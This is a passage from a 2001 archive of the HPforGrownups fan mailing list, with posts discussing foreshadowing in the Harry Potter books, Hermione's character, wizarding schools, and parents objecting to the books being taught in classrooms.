chapter.  A lot of first-time foreshadowing is simple like this.  But 
I wanted a single, good example of first-time foreshadowing AT IT'S 
VERY BEST.  Well, just ten minutes later, having already turned off my 
computer and laid down in bed, the example I wanted came to me and 
that's what it was--the hints about the time turner.  I resolved to 
post about it the next day (today) so here I am, and people are 
already bringing it up (albeit for different reasons)

This is interesting because people have said they thought this was a 
little obvious and, yes, it was because unlike second-time 
foreshadowing, first-time foreshadowing is supposed to be.  Why is it 
first-time, you ask?  Well, there's several incidences involved here 
so I'll start just by picking one, at the end of this quote from PoA 
below:

***

Hermione slammed her Arithmancy book down on the table so hard that 
bits of meat and carrot flew everywhere.
    "If being good at Divination means I have to pretend to see death 
omens in a lump of tea leaves, I'm not sure I'll be studying it much 
longer!  That lesson was absolute rubbish compared with my Arithmancy 
class!"
    She snatched up her bag and stalked away.
    Ron frowned after her.
    "What's she talking about?" he said to Harry.  "She hasn't been to 
an Arithmancy class yet."

***

Like all first-time foreshadowing, this raises a story question.  In 
fact, in this case, Ron kindly asks it for us: "What's she talking 
about?".  Unlike with second-time foreshadowing, no false explanation 
is supplied.  We are left to wonder on purpose, because this is what 
first-time foreshadowing is supposed to do: make us interested to keep 
reading and find out.  Now some readers may speculate anyway, but the 
text does not facillitate this.  And it's not too much of a clue 
because we're not given enough to draw a firm conclusion.

So it was supposed to be obvious that SOMETHING was up with Hermione's 
schedule, but not obvious what.

But to be perfectly fair, there is one instance in PoA that was also 
part of an instance of first-time foreshadowing which was not done 
quite as well and almost gives it away (which is not the point of 
first-time foreshadowing).  This is when Ron first sees Hermione's 
schedule and says "Look--they've got you down for about ten subjects a 
day.  There isn't enough TIME."  In the original text, "time" is 
italicized not capatilized.  But the emphasis is there.  And it's like 
Rowling dangling a carrot in front of our nose, expecting us not to 
realize it.

And you know what?  Thankfully, we don't.  Did anyone know it was a 
time-turner at this point?  No.  We may have had mild suspicions of 
time shifting but that's all.  No firm conclusions.  Why?  Simple. The 
time-turner wasn't introduced until the secret was revealed.

Notice that all the magic or magic items we are introduced to that are 
accompanied by second-time foreshadowing make an innocuous appearance 
before the real, plot-twist appearance.  Such as the portkey, the 
Whomping Willow, the class discussion about Werewolves, etc.  Because 
the time-turner was accompanied by first-time foreshadowing it could 
not have made an earlier innocuous appearance or the solution would 
have been blatantly obvious.

-Luke

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> --- In HPforGrownups at y..., caliburncy at y... wrote:
> > 
> <snip>
> 
> > Anyway, JKR uses lots of first-time foreshadowing, which is where 
a 
> > lot of her good pacing comes from.  And she uses a little author 
> > prophecy, but not much.  I have never seen a book that used much 
of 
> > this, nor would it probably work to do so.  So that leaves second-
> time 
> > foreshadowing which is, of course, what I imagine you were taking 
> > about in the first place (partly why I gave two examples for it, 
> since 
> > it is most important to our discussion--but they may not be the 
two 
> > best examples, I almost added more, but stopped myself).  
> 
> 
> Luke, thanks so much for that fabulous explanation.  I hadn't really 
> thought about foreshadowing in those terms.
> 
> I think the reason JKR is able to fool me so easily is that she 
> doesn't foreshadow the BIG PLOT TWIST nearly as much as she 
> foreshadows little things.  Consider Crouch/Moody.  We get two tiny 
> direct clues (that I recall) that Moody is not himself.  One is the 
> bouncing ferret business.  The second is in Padfoot Returns, when 
Ron 
> says that Dumbledore is smart, but a really clever dark wizard could 
> fool him.  Everything else, IMHO, fits perfectly with the little we 
> know about Moody, or seems so unrelated to Moody that it isn't 
> possible to piece the facts together (e.g., Crouch searching Snape's 
> office).
> 
> The timeturner was different, though.  Sure, it was easy to see 
> that "something" was going on with Hermione.  But could one tell 
that 
> she was able to re-live time, as opposed to cloning herself with 
> polyjuice potion (hmmm-- I wonder what would happen if you tried 
> that)?  So there was a lot of foreshadowing leading to the same 
> result -- total surprise that it was a time-turner (something never 
> before introduced in the book) that would be the tool needed for the 
> dramatic rescue at the end.  
> 
> Another one is Cedric's death.  I saw no foreshadowing there at all. 
> 
> Cindy (who should have paid more attention in English Literature)




From mellyf at indianvalley.com  Sun Sep  2 23:31:26 2001
From: mellyf at indianvalley.com (Melissa Frankfother)
Date: Sun, 2 Sep 2001 18:31:26 -0500
Subject: [HPforGrownups] Anti-Harry Potter Video???
References: <9mu0kg+53gb@eGroups.com>
Message-ID: <000801c13407$63194360$bfbc17d0@default>

No: HPFGUIDX 25400

Lurker unlurking (probably briefly ;-))....

I'm just beginning my 3rd year of teaching 5th grade (I taught learning
disabled kids for 8 years prior to making the switch to 5th grade), and I've
read all the HP books aloud to my students for the past two years.  This
year, for the first time, I'm doing HP & the SS as a novel unit with my
class.  I sent out a welcome letter before school to give the kids a brief
preview of some of the things we're going to be doing this year, including
HP. (I didn't want any parents to think they'd been blind-sided, but I
really didn't think I'd have a problem...silly me.)  About 3 days later, the
principal told me that a parent had come in to request that his daughter be
placed in another class.  He brought in a thick pile of papers he'd printed
up of info from the internet on how HP teaches black magic, devil worship,
blah, blah, blah.  The interesting thing is, this girl's 4th grade teacher
had told me how much this girl had been looking forward to being in my class
because she knew I read the Harry Potter books.

Melissa

----- Original Message -----
From: "Ebony" <ebonyink at hotmail.com>
To: <HPforGrownups at yahoogroups.com>
Sent: Sunday, September 02, 2001 2:17 PM
Subject: [HPforGrownups] Anti-Harry Potter Video???


> I received an e-mail from one of my NCTE digests and was slightly
> alarmed.  Has anyone heard of the video being referred to?
>
> ********************
>
> Subject: Re: Re: [ncte-talk] Anti-Harry Potter video warns about
> witchcraft
>
> Hi - Just had to jump into this conversation.  I have never had a
> parent object or ban a book before in my career and I am so adamantly
> and passionately opposed to censoring that it came as a complete
> shock to me that a parent is refusing to allow her daughter to read
> Harry Potter and the Chamber of Secrets because it teaches sorcery
> and their religion (Jehovah's Witness) does not allow it.  I asked
> her if she read the book, as it does not teach sorcery or anything
> like that.. and she said she is not allowed to.  She then said her
> daughter could read The Hobbit (like that isn't the same thing??)..
> But then my readiness to switch, or something, must have prompted her
> to investigate The Hobbit, which she said she had read and her
> other children had read, blah,blah, blah,... and now I've been
> informed that she can't read that either.  Now, she's not opposed to
> the class reading it and her daughter sitting in the library for the
> duration reading books and writing "book reports,"... but that's not
> how I teach... So, I'm frustrated, upset and in search of another
> book to start off the school year (I'm think Adventures of
> Huckleberry Finn)!!  Thanks for letting me vent.
>
> **********************************
>
>
> End note--I've been in this colleague's shoes (actually, was there
> last year).  It is a VERY frustrating and infuriating thing to have
> spent a good 20+ hours preparing a full unit around a novel that the
> profession is legitimizing (the NCTE and the IRA *love* Harry Potter
> and want to add it to the recognized body of adolescent lit
> appropriate for the classroom)... and then to be unable to teach it
> because you don't want to exclude all the other kids.
>
> Sigh.
>
> --Ebony AKA AngieJ (who is glad she teaches high school now)
>
>
>
> _______ADMIN________HPFGU_______ADMIN__________
>
> Attention everyone! Before posting, you must read our netiquette tips at
>
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From frantyck at yahoo.com  Sun Sep  2 23:49:40 2001
From: frantyck at yahoo.com (frantyck at yahoo.com)
Date: Sun, 02 Sep 2001 23:49:40 -0000
Subject: Wizard demographics?
In-Reply-To: <9mtlcl+e5mf@eGroups.com>
Message-ID: <9mugik+3pb5@eGroups.com>

No: HPFGUIDX 25401

--- In HPforGrownups at y..., usergoogol at y... wrote:
> --- In HPforGrownups at y..., frantyck at y... wrote:
>> The only solid number we seem to have is the number of Hogwarts
>> students (1000).
> 
> That's not undisputed of course. If I remember right from the
> Lexicon, some theorize that there are merely about 280. (10
> students per house (five of each gender) 40 of each year, 280 of
> all seventy.) There's actually quite a bit of reasoning behind
> this, but one of the more experienced members would be better at
> explaining it.

Thanks, usergoogol, for the Lexicon pointer. Should have known to 
look more carefully there! I still don't like any of the figures 
much, though.

> > Lastly: Where would you think wizarding schools would be in your 
> country?
> 
> Well, in my yet-to-be-written fanfic, I put a school in Minnesota, 
which I think is nice (rural, centrally located) also, maybe 
something could be in... oh... the Salem/Boston region. Um, there 
might be one deeply hidden in the Rocky Mountains.

You know, the idea of a wizarding school in New York City sounds 
great. Probably wouldn't surprise New Yorkers much. A great big 
warehouse (tall enough for Quidditch) or a large, nondescript 
building with no visible entrance...

Or Canada. On some craggy coast. Arrr.




From aleksrothis at yahoo.co.uk  Sun Sep  2 23:58:04 2001
From: aleksrothis at yahoo.co.uk (Aleks)
Date: Sun, 02 Sep 2001 23:58:04 -0000
Subject: Very Little Foreshadowing? (was Re: Malfoy's Redemption)
In-Reply-To: <9mueuk+dnd4@eGroups.com>
Message-ID: <9muh2c+7k57@eGroups.com>

No: HPFGUIDX 25402

--- In HPforGrownups at y..., caliburncy at y... wrote:
> Interesting that a couple people have brought up Hermione's time 
> turner. This is interesting because people have said they thought 
this was a little obvious and, yes, it was because unlike second-time 
> foreshadowing, first-time foreshadowing is supposed to be.  
> 
> So it was supposed to be obvious that SOMETHING was up with 
Hermione's schedule, but not obvious what.
>
> This is when Ron first sees Hermione's schedule and says "Look--
they've got you down for about ten subjects a day.  There isn't 
enough TIME."  In the original text, "time" is italicized not 
capatilized.  But the emphasis is there.  And it's like Rowling 
dangling a carrot in front of our nose, expecting us not to 
> realize it.
> 
> And you know what?  Thankfully, we don't.  Did anyone know it was a 
> time-turner at this point?  No.  We may have had mild suspicions of 
> time shifting but that's all.  No firm conclusions.  > the time-
turner was accompanied by first-time foreshadowing it could 
> not have made an earlier innocuous appearance or the solution would 
> have been blatantly obvious.
> 
> -Luke
> 
> > --- In HPforGrownups at y..., caliburncy at y... wrote:
> > The timeturner was different, though.  Sure, it was easy to see 
> > that "something" was going on with Hermione.  But could one tell 
> that she was able to re-live time, as opposed to cloning herself 
with polyjuice potion (hmmm-- I wonder what would happen if you tried 
> > that)?  So there was a lot of foreshadowing leading to the same 
> > result -- total surprise that it was a time-turner (something 
never before introduced in the book) that would be the tool needed 
for the  dramatic rescue at the end.  


I am also interested in how many people bring up the time-turner as a 
plot-twist that they didn't guess. Whilst I didn't understand exactly 
how Hermione was doing it, I did guess that she was 'time-
travelling' - reliving the hours over again so she could do more than 
one thing in the same period of time. This maybe be due to the heavy 
presence of time-travel in the X-Men universe (hey, did I mention I'm 
a huge fan...lol), but it seemed to me the only logical explanation. 
With regards to Luke's essay on foreshadowing (which was 
v.interesting IMHO) I thought that the time-turner was one of 
the 'verging-on-the-obvious' points (along with Lupin as a werewolf) 
where JKR foreshadowed it so heavily that it was possible to get on 
your first reading, unlike Scabbers-as-Peter, or Moody-as-Crouch Jr 
which were more the clues you could pick up with hindsight. 

Aleks
*******************************************************************
*Time travelers, yes. Interdimentional and interstellar aliens, sure. 
Clones, why not? Angels and demons?* Domino gave a mental snort. 
*Right up there with pixies and fairies. Let's keep it real, people.*
~I'm happy to know you think I exist~ Cable thought.
~Only every second day.~ Domino retorted.
*******************************************************************




From caliburncy at yahoo.com  Mon Sep  3 00:01:49 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Mon, 03 Sep 2001 00:01:49 -0000
Subject: Very Little Foreshadowing? (was Re: Malfoy's Redemption)
In-Reply-To: <9mueuk+dnd4@eGroups.com>
Message-ID: <9muh9d+2vfc@eGroups.com>

No: HPFGUIDX 25403

Yet another thing I wanted to say (and don't think I don't hear you 
groaning!)

The other thing that occured to me before I went to bed after writing 
my post was how crappy a job I did of explaining the distinction 
between first-time foreshadowing and author prophecy.  If you all 
figured it out anyway, that's more to your credit as a highly 
intelligent folk than to mine, because my explanation was pretty fuzzy 
at times.  So I feel compelled to fix it a bit.  Maybe I'll just make 
things worse, but I hope not.

First off, I was probably a bit misleading when I said the difference 
between the two was subtle.  The more I think about it, the more I 
realize that, really, it's not.  I've already explained first-time 
foreshadowing, so here's just some elucidation on author prophecy.

Author prophecy usually takes the form of dialogue spoken by a 
character or perhaps a statement by the narrator (as though the 
narrator were a physical person).

It is stated like "future fact"--we don't question it, we just know it 
will be, even though there's no actual evidence.  It doesn't raise a 
story question.  Why do we 'just know'?  Because we are conditioned to 
think this by the nature of "story-telling".  If the prophecy is not 
fulfilled, we feel cheated--the author has promised something he/she 
did not deliver.  In the real world, these prophecies have no reason 
to come true, but in the story world they must, it is part of the 
natural order of fiction.

My example from HP is the best one currently available, but as it's 
not yet been fulfilled I suppose I'll offer another one.  
Unfortunately, it's not from HP.  For anyone that's read the Prydain 
Chronicles (don't worry for those who haven't, this isn't really a 
spoiler), Dallben says at the start of Book 4, "Taran Wanderer":

"Gurgi's staunchness and good sense I do not doubt," [Dallben] said to 
Taran.  Though before your search is ended, the comfort of his kindly 
heart may stand you in better stead."

At some point which I can't find (GRR!), Taran says (basically) that 
Dallben was right when he said [see above quote].

It's not first-time foreshadowing.  We don't wonder about it.  We 
accept it straight away as fact.  And do so despite the fact that 
there's no concrete reason for Dallben to be right.  Except that if he 
wasn't, the story would seem somehow "not quite right".  We would feel 
lied to in a mild sort of way.  That is author prophecy.

I realize that my explanation of this is STILL poor, but I guess that 
means it's not going to get any better.  Oh well.

-Luke






From caliburncy at yahoo.com  Mon Sep  3 00:21:39 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Mon, 03 Sep 2001 00:21:39 -0000
Subject: Very Little Foreshadowing? (was Re: Malfoy's Redemption)
In-Reply-To: <9muh2c+7k57@eGroups.com>
Message-ID: <9muiej+kcij@eGroups.com>

No: HPFGUIDX 25404

--- In HPforGrownups at y..., "Aleks" <aleksrothis at y...> wrote:
> I am also interested in how many people bring up the time-turner as 
a 
> plot-twist that they didn't guess. Whilst I didn't understand 
exactly 
> how Hermione was doing it, I did guess that she was 'time-
> travelling' - reliving the hours over again so she could do more 
than 
> one thing in the same period of time. This maybe be due to the heavy 
> presence of time-travel in the X-Men universe (hey, did I mention 
I'm 
> a huge fan...lol), but it seemed to me the only logical explanation. 
> With regards to Luke's essay on foreshadowing (which was 
> v.interesting IMHO) I thought that the time-turner was one of 
> the 'verging-on-the-obvious' points (along with Lupin as a werewolf) 
> where JKR foreshadowed it so heavily that it was possible to get on 
> your first reading, unlike Scabbers-as-Peter, or Moody-as-Crouch Jr 
> which were more the clues you could pick up with hindsight. 
> 
> Aleks

I suppose it depends on the kind of reader you are.  With first-time 
foreshadowing, the ideal situation the author is going for is where 
the reader WONDERS, but does not SPECULATE.  Or at least not to a high 
enough degree to figure it out.  But of course this can always be 
thwarted by someone who is excessively analytical.  I'm one of these 
people so I guessed the time-travelling part as well and, even worse, 
I picked up on many of the second-time foreshadowing hints the 
first-time around and figured out a good deal of them (but not all, 
thankfully).  Although this is cool in a way, I'm nevertheless kind of 
jealous of people who don't do this, because they get more enjoyment 
out of letting themselves simply be swept along with the story.  It's 
really not that they have less analytical capability, they can just 
turn it off more easily than I can.  Many of these people, if they put 
the book on hold and pondered it to death might also figure out these 
things the first time.

But mechanically speaking, I agree with you that even for the average 
child reader JKR might have been a tiny bit over the top on her 
foreshadowing of Hermione's secret.  It wasn't too impossible to guess 
some sort of time travelling, especially with it being the modern day 
flagship of plot-twists practically. :)  But at least the 'how' 
details were impossible to guess, since we had no idea of the 
existence of time turners.  Still, it could've been done a bit 
sneakier.  But with all the other 'doozies' of plot-twists (namely 
Scabbers/Peter) in that particular book, it was probably wise of JKR 
to have one slightly less surprising twist.  Like I said, if you 
stretch credibility too far, no one will like your plot-twists, no 
matter how brilliant.

Oh, and on an unrelated note to Tabouli, yes, your medal is indeed in 
the mail, but did you read the disclaimer?  (I think it's at the very 
bottom, below my name.)  You might find it a bit difficult to tell 
when it has arrived or not.  :)

-Luke




From morsethanatos at yahoo.com  Mon Sep  3 00:41:11 2001
From: morsethanatos at yahoo.com (morsethanatos at yahoo.com)
Date: Mon, 03 Sep 2001 00:41:11 -0000
Subject: Where can Harry go?
Message-ID: <9mujj7+tjms@eGroups.com>

No: HPFGUIDX 25405

JKR mentioned in one of the interviews that he will visit a few of 
the magical  places mentioned in the books. That got me to try and 
recall what the places mentioned in the books are. Shamefully I have 
not come up with anything besides Godric's hollow, M..O.M., Azkaban 
and Malfoy's house(but somehow I doubt he would go there).  What did 
I forget?




From foxmoth at qnet.com  Mon Sep  3 01:04:36 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Mon, 03 Sep 2001 01:04:36 -0000
Subject: lawful Hermione was Could Hermione Fight the Imperius Curse?
In-Reply-To: <9mt845+dtbp@eGroups.com>
Message-ID: <9mukv4+p5o6@eGroups.com>

No: HPFGUIDX 25406

--- In HPforGrownups at y..., blpurdom at y... wrote:
> > > The other thing to note about Hermione is she is very lawful, as 
> > > well as ethical.  This lawfulness makes her naturally obedient.   
> 
> I have to disgree with this.  She starts off this way, but very 
> quickly becomes "corrupted" by Ron and Harry.  She becomes a creature 
> of expedience, able to rationalize a number of infractions of the 
> rules with aplomb.

Most of Barb's points are good, but I have to speak up for Hermione on 
a couple of them.

> In CoS she makes Polyjuice Potion (the recipe for which came from a 
> book in the Restricted Section of the library).  

She obtained the book quite legally, under Lockhart's signature. He was 
a twit for giving it to her, but she didn't break any rules to get it.

.  She also 
> doesn't go to an authority figure immediately upon figuring 
> everything out, and instead gets herself and Penelope Clearwater 
> petrified.
> 

Penelope Clearwater *is* an authority figure. She's  a *prefect*. 
Hermione was doing exactly what she should have done, too bad the 
basilisk caught up with them before Penelope could get her to a 
teacher. We don't know that Hermione is the one who tore the book 
either...I've always imagined it was Riddle who did that, long ago, to 
cover his tracks, and that Hermione found the page in a dusty pile of 
items to be repaired.


  She uses the Time Turner 
> to go to multiple classes simultaneously, which isn't fair to the 
> other students,
	We don't know that other students couldn't use a time turner if 
they requested it. Hermione was probably desperate to catch up after 
spending half of last year petrified. It was dangerous for her, but 
surely no more dangerous than letting Harry play Quidditch. 


> In GoF the worst thing she does, IIRC, is she helps Harry with his 
> tournament tasks, but she does this all through the book, even though 
> he's supposed to do this himself.  
	There's an odd point here, IIRC, Dumbledore only says that the 
contestants can't get help from a *teacher*...Harry and Hermione 
interpret that as not getting help from *anyone*, "it's in the rules", 
but is it? In any case, what Hermione helps him to do is things like 
practicing charms and looking up things in the library. That can't be 
against the rules. She's not as strictly rule-abiding as Percy, but I 
don't think she's as comfortable breaking rules as, say, Fred and 
George. 
	
Pippin





From Evilonewon at aol.com  Mon Sep  3 01:25:48 2001
From: Evilonewon at aol.com (Evilonewon at aol.com)
Date: Sun, 2 Sep 2001 21:25:48 EDT
Subject: HP/children's literature  
Message-ID: <6d.19a6e0cf.28c4361c@aol.com>

No: HPFGUIDX 25407

In a message dated 08/30/2001 10:52:43 AM Eastern Daylight Time, 
HPforGrownups at yahoogroups.com writes:


> I am coming to think of the *series* being about 'growing up' and in 
> future years when we have all seven (plus whatever 'textbooks' and so 
> on are produced as auxiliaries) it will be seen as something young 
> people grow up with, getting to the appropriate books as they grow to 
> need what that book offers. A companion in the way.
> 
> Books 1-3 could be read by kids from 7 upwards, book 4 maybe ages 9 
> to 10 and I suspect that book seven will be best started by 12-13 
> year olds. 
> 
> I do think we could have some further 'auxiliary' books like QTTA. 
> 
> Maybe a Muggle Studies textbook, explaining why Muggles would be 
> utterly bewildered by aspects of the Wizarding World the wizard 
> community just takes for granted.  For example, Muggles would be 
> bewildered by the Hogwarts Express not seeing the points (so obvious 
> as to be unremarked) that make it the natural Magical Community way 
> to work.  The Jo could give an explanation that of course doesn't 
> actually explain but means nit-pickers like us cant moan any more 
> about errors...
> 
> The textbooks could help keep the younger child enthusiast happy even 
> if the main series later books became something "you will understand 
> one day. I know you don't like to hear that..."
> 
> Just a thought
> 
> 
> 
> 
> 

Actually, as the books are coming out every year or two, children will grow 
up with the characters.  I'm reading the books to my younger sister (7 years 
old) and by the time the 7th book comes out she will, number one, be old 
enough to read them by herself, and two, she will be old enough to read the 
older subject matter.  So that's the nice thing about the rate at which 
they're coming out.  I actually think that I'm lucky, because I've gotten to 
grow up the same age as Harry and Hermione and the whole gang (book ages).  
So I know how they feel and the mentality behind their action.  All through 
GoF, I was thinking "OMG, this is exactly like the guys at my school".  

If there are any more companion volumes, I'd really like to read "The History 
of Magic".  I would love hearing all about the truth behind all the events 
that we know in the Muggle world.

I also have a question.  What was the number of the post with the passage 
that was taken from PS/SS about Dumbledore seeing Arabella Figg in the Mirror 
of Erised?  I can't find it.  Thanks!
~ Corinne

**************************************************
Corinne Staggs    Evilonewon at aol.com

? ? ? ? "Gods protect me, you're going to die a virgin," he whispered.  "What 
say we find a nice private haystack and take care of that?" ~ Cleon to Kel in 
Squire by Tamora Pierce

Last movie seen:? "The Princess Diaries"
Discman's spinning:? Flute music by James Galway
Nighttable:? "Harry Potter and the Goblet of Fire" (for the fifth time) by J. 
K. Rowling, "Bulfinch's Mythology" by Thomas Bulfinch, "The Master Harper of 
Pern" by Anne McCaffrey, and "Angus, Thongs, and Full-Frontal Snogging" by 
Louise Rennison
***************************************************







[Non-text portions of this message have been removed]




From chiizu_cheese at yahoo.com  Mon Sep  3 01:32:58 2001
From: chiizu_cheese at yahoo.com (chiizu_cheese at yahoo.com)
Date: Mon, 03 Sep 2001 01:32:58 -0000
Subject: Hermione
Message-ID: <9mumka+cukc@eGroups.com>

No: HPFGUIDX 25408

Has anybody noticed that Hermione is described as a homely girl, yet 
in the movie she seems to be a very pretty girl? Hrmmm.....I just 
thought that was really odd.




From chiizu_cheese at yahoo.com  Mon Sep  3 01:38:59 2001
From: chiizu_cheese at yahoo.com (chiizu_cheese at yahoo.com)
Date: Mon, 03 Sep 2001 01:38:59 -0000
Subject: Dueling Club/Sirius's Appeal/Plotlines I'd like to see/Tournament
In-Reply-To: <20010902.123719.-428615.4.mindyatime@juno.com>
Message-ID: <9mumvj+r02q@eGroups.com>

No: HPFGUIDX 25409

--- In HPforGrownups at y..., "Mindy, a.k.a. CLH" <mindyatime at j...> 
wrote:
> I really don't get the entire premise of the dueling club chapter. 
Why
> was the entire dueling club necessary? The students are much too 
young to
> know proper spells and defense spells. Lockhart doesn't begin to 
know
> what he's doing; does he just want to show off?
> 
> Here's another question that has been puzzling me: How come so many 
of
> you listies are sooo ga-ga over Sirius? While I like his character, 
he
> comes across to me as a whispy, filthy, grimy, emaciated skeleton. 
He
> doesnt have any outer appeal; why are so many of you 'crazy' about 
him?
> 
> Here is a plotline I'd like to see: I'd like to see JKR come up 
with MORE
> ingenious magical devices, concepts, animals, or people. I am truly
> curious what else she can come up with. HOWEVER, WHY ON EARTH DOES 
IT
> HAVE TO TAKE TWO FULL YEARS TO WRITE THE NEXT BOOK???? I don't get 
it. If
> she locks herself into her room for a month and subsists on take-
out, and
> doesn't look at her daughter, she can finish this book by October. 
Why
> two years???? and with my rotten luck, I will probably be unable to 
get
> my shaking hands on a copy until the second printing, which may 
possibly
> be July 2003.... Oy vey!
> 
> Did any of you ever wonder what went through the minds of all of the
> spectators of the Tournament while the cemetery drama was taking 
place?
> What a pity there was never a chapter describing the mayhem that 
may have
> gone on as Fleur and Krum were taken out and Cedric & Harry were 
not to
> be found, and neither was the Cup. Was the maze then flooded with
> Ministry & School officials, searching for Harry? What was Barty Jr.
> doing all that time -- biting his nails in anxiety, or shouting to 
the
> crows to calm down and all was fine? Additionally, were the 
spectators
> able to see the goings-on within the maze, or were they just sitting
> outside for half an hour or so patiently, singing school anthems and
> studying for exams? Must've been kinda boring not to be able to 
enjoy the
> ultimate, final task of the tournament. Or perhaps the entire drama
> would've been replayed later, as if on video, were the entire 
fiasco not
> to take place.
> My actual favorite part of the 3rd task is when Harry steps through 
the
> mist and finds himself upside down, afraid he'll land in space if he
> moves. Wow, these ingenious ideas!!!
> 
> I am awfully sorry for posting so much in a 24-hour span, but I 
have not
> read nor written in over a week, and I have so much to comment on,
> therefore necessitating this need to write so much. I have eight 
digests
> left to go, and I hope I won't come up with too many more 
observations!
> It's time to take a break -- I am sitting here for 2 1/2 hours and I
> haven't even eaten breakfast. See ya later.
> 
> MINDY
> 
I think that a chapter about what happened while Harry was gone would 
be totally unnecessary. I think JKR is trying to keep the book in the 
2nd-person perspective. The only time she has wondered from that 
perspective is in Harry's dreams.




From neilward at dircon.co.uk  Mon Sep  3 01:49:19 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Mon, 3 Sep 2001 02:49:19 +0100
Subject: WEEKLY DISCUSSIONS: Volunteer for this week's essay topic?
Message-ID: <002a01c1341a$a7c0a9a0$093670c2@c5s910j>

No: HPFGUIDX 25410

Hi everyone,

New members (welcome on and all!!!) might like to know that we have
scheduled discussions running alongside the ongoing threads each week.  In
the current schedule, we're working through the chapters of PoA, CoS and
PS/SS. We're nearing the end of the CoS chapters and we're due to complete
the PS/SS discussions just before the release of the HP movie of that book.
We're also discussing various HP-related topics (see below).

Each week, volunteers prepare a summary of the relevant chapter(s) and/or
essay topic and end each with a few questions to lead off the discussion.
Details of the schedule (and past discussions) can be found at
http://groups.yahoo.com/group/HPforGrownups/files/Discussion%20Summaries/

We've missed out on some of the scheduled HP 'essay' topics; for example,
this week's topic -  "The Forbidden Forest" - has not been assigned a
volunteer.  If anyone fancies writing a quick and dirty summary to lead off
a discussion on that topic, or has any questions about the discussion
summaries in general, drop me a line at neilward-AT-dircon.co.uk

Thanks, and particularly HUGE thanks to all the volunteers who have, so far,
given us such excellent summaries.

Neil
________________________________________
Flying Ford Anglia
Mechanimagus Moderator





From witchwanda2002 at yahoo.com  Mon Sep  3 02:17:51 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Sun, 2 Sep 2001 19:17:51 -0700 (PDT)
Subject: [HPforGrownups] Anti-Harry Potter Video???
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2B36@MIAEXCH1>
Message-ID: <20010903021751.626.qmail@web13709.mail.yahoo.com>

No: HPFGUIDX 25411

My Aunt in Texas sends me all kinds of anti-HP stuff 
from many church friends. I just keep sending her HP
postcards with positive feedback! Like how the boys
love to read the books and can't wait for the movie to
go see it! I had my own experience with JW's. My
mother is still one. They don't want anything to do
with anything worldly. Enough said there. But it is to
bad that there are so many out there who hate
something. Here is something that is bring people
together, like Pokemon. My boys are into that too. But
it is a very positive show. HP brings out the fun in
reading and the imagination of something different.
Science Fiction has so many avenues of fantasy! I love
reading all the old classics of Jules Verne and HG
Wells! No matter what part of History, there are
always those that will try to ban something that is
new and different. Just wanted to put my few knuts
into this discussion.

Wanda
 
--- "Tandy, Heidi"
<heidi.h.tandy.c92 at alumni.upenn.edu> wrote:
> I believe the-leaky-cauldron.org has written on this
> video a bit, including
> links to articles in a florida paper about it. BK,
> any links?
> 
> -----Original Message-----
> From: Ebony <ebonyink at hotmail.com>
> To: HPforGrownups at yahoogroups.com
> <HPforGrownups at yahoogroups.com>
> Sent: Sun Sep 02 15:17:36 2001
> Subject: [HPforGrownups] Anti-Harry Potter Video???
> 
> Real-To:  "Ebony" <ebonyink at hotmail.com>
> 
> I received an e-mail from one of my NCTE digests and
> was slightly 
> alarmed.  Has anyone heard of the video being
> referred to?
> 
> ********************
> 
> Subject: Re: Re: [ncte-talk] Anti-Harry Potter video
> warns about 
> witchcraft
> 
> Hi - Just had to jump into this conversation.  I
> have never had a 
> parent object or ban a book before in my career and
> I am so adamantly 
> and passionately opposed to censoring that it came
> as a complete 
> shock to me that a parent is refusing to allow her
> daughter to read 
> Harry Potter and the Chamber of Secrets because it
> teaches sorcery 
> and their religion (Jehovah's Witness) does not
> allow it.  I asked 
> her if she read the book, as it does not teach
> sorcery or anything 
> like that.. and she said she is not allowed to.  She
> then said her 
> daughter could read The Hobbit (like that isn't the
> same thing??).. 
> But then my readiness to switch, or something, must
> have prompted her 
> to investigate The Hobbit, which she said she had
> read and her
> other children had read, blah,blah, blah,... and now
> I've been 
> informed that she can't read that either.  Now,
> she's not opposed to 
> the class reading it and her daughter sitting in the
> library for the 
> duration reading books and writing "book
> reports,"... but that's not 
> how I teach... So, I'm frustrated, upset and in
> search of another 
> book to start off the school year (I'm think
> Adventures of 
> Huckleberry Finn)!!  Thanks for letting me vent.
> 
> **********************************
> 
> 
> End note--I've been in this colleague's shoes
> (actually, was there 
> last year).  It is a VERY frustrating and
> infuriating thing to have 
> spent a good 20+ hours preparing a full unit around
> a novel that the 
> profession is legitimizing (the NCTE and the IRA
> *love* Harry Potter 
> and want to add it to the recognized body of
> adolescent lit 
> appropriate for the classroom)... and then to be
> unable to teach it 
> because you don't want to exclude all the other
> kids.
> 
> Sigh.
> 
> --Ebony AKA AngieJ (who is glad she teaches high
> school now)
> 
> 
> 
> _______ADMIN________HPFGU_______ADMIN__________
> 
> Attention everyone! Before posting, you must read
> our netiquette tips at
>
http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/netiquetteTI
> PS.htm
> 
> You should also read the Very Frequently Asked
> Questions file (VFAQ) at
>
http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/VFAQ.htm
> and
> check out our FAQ-based essays at:
> http://www.i2k.com/~svderark/lexicon/faq/
> 
> For more details or help, contact your personal List
> Elf or the Moderator
> Team at hpforgrownups-owner at yahoogroups.com.
> 
> Want to leave this list? Email
> hpforgrownups-unsubscribe at yahoogroups.com 
> 
> Your use of Yahoo! Groups is subject to
> http://docs.yahoo.com/info/terms/ 
> 
> 


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From Evilonewon at aol.com  Mon Sep  3 02:18:00 2001
From: Evilonewon at aol.com (Evilonewon at aol.com)
Date: Sun, 2 Sep 2001 22:18:00 EDT
Subject: DADA
Message-ID: <3a.1a2f3999.28c44258@aol.com>

No: HPFGUIDX 25412

In a message dated 08/30/2001 10:17:14 PM Eastern Daylight Time, 
HPforGrownups at yahoogroups.com writes:


> Questions:  
> 
> 1.  Do you think Quirrell was a good teacher until he took a year 
>     off?  
> 

I think that Quirrell was a book teacher.  He probably knew the textbook 
forwards, backwards, and upside down.  Hagrid tells us in PS/SS that Quirrell 
was a good teacher but without experience.  But I think that Quirrell at 
least knew the subject matter well enough so that his students could defend 
themselves against the dark arts if need be.  DADA probably wasn't one of 
